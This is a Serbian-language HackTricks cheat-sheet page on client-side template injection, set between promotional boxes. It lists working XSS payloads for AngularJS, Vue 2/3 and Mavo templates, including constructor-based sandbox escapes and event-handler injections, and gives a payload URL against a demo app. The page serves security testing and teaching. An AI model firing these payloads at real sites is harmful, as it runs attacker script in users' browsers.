7.8 KiB
Client Side Template Injection (CSTI)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti kompromitovani od strane stealer malvera.
Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizilaze iz malvera koji krade informacije.
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:
{% embed url="https://whiteintel.io" %}
Summary
To je kao Server Side Template Injection ali na klijentskoj strani. SSTI vam može omogućiti da izvršite kod na udaljenom serveru, dok CSTI može omogućiti da izvršite proizvoljni JavaScript kod u pretraživaču žrtve.
Testiranje za ovu ranjivost je vrlo slično kao u slučaju SSTI, interpreter očekuje šablon i izvršiće ga. Na primer, sa payload-om kao što je {{ 7-7 }}
, ako je aplikacija ranjiva videćete 0
, a ako nije, videćete original: {{ 7-7 }}
AngularJS
AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om kroz atribute poznate kao direktive, a jedna od značajnih je ng-app
. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
U scenarijima gde se korisnički unos dinamički ubacuje u HTML telo označeno sa ng-app
, moguće je izvršiti proizvoljni JavaScript kod. To se može postići korišćenjem sintakse AngularJS-a unutar unosa. Ispod su primeri koji pokazuju kako se JavaScript kod može izvršiti:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Možete pronaći vrlo osnovni online primer ranjivosti u AngularJS na http://jsfiddle.net/2zs2yv7o/ i u Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 je uklonio sandbox tako da od ove verzije payload poput {{constructor.constructor('alert(1)')()}}
ili <input ng-focus=$event.view.alert('XSS')>
treba da radi.
{% endhint %}
VueJS
Možete pronaći ranjivu Vue implementaciju na https://vue-client-side-template-injection-example.azu.now.sh/
Funkcionalni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
I izvorni kod ranjivog primera ovde: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Zaista dobar post o CSTI u VUE može se naći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
Proverite više VUE payload-a na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Više payload-a u https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista za otkrivanje brute-force napada
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
WhiteIntel
WhiteIntel je pretraživač pokretan dark-web-om koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili kompromitovani od strane stealer malvera.
Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.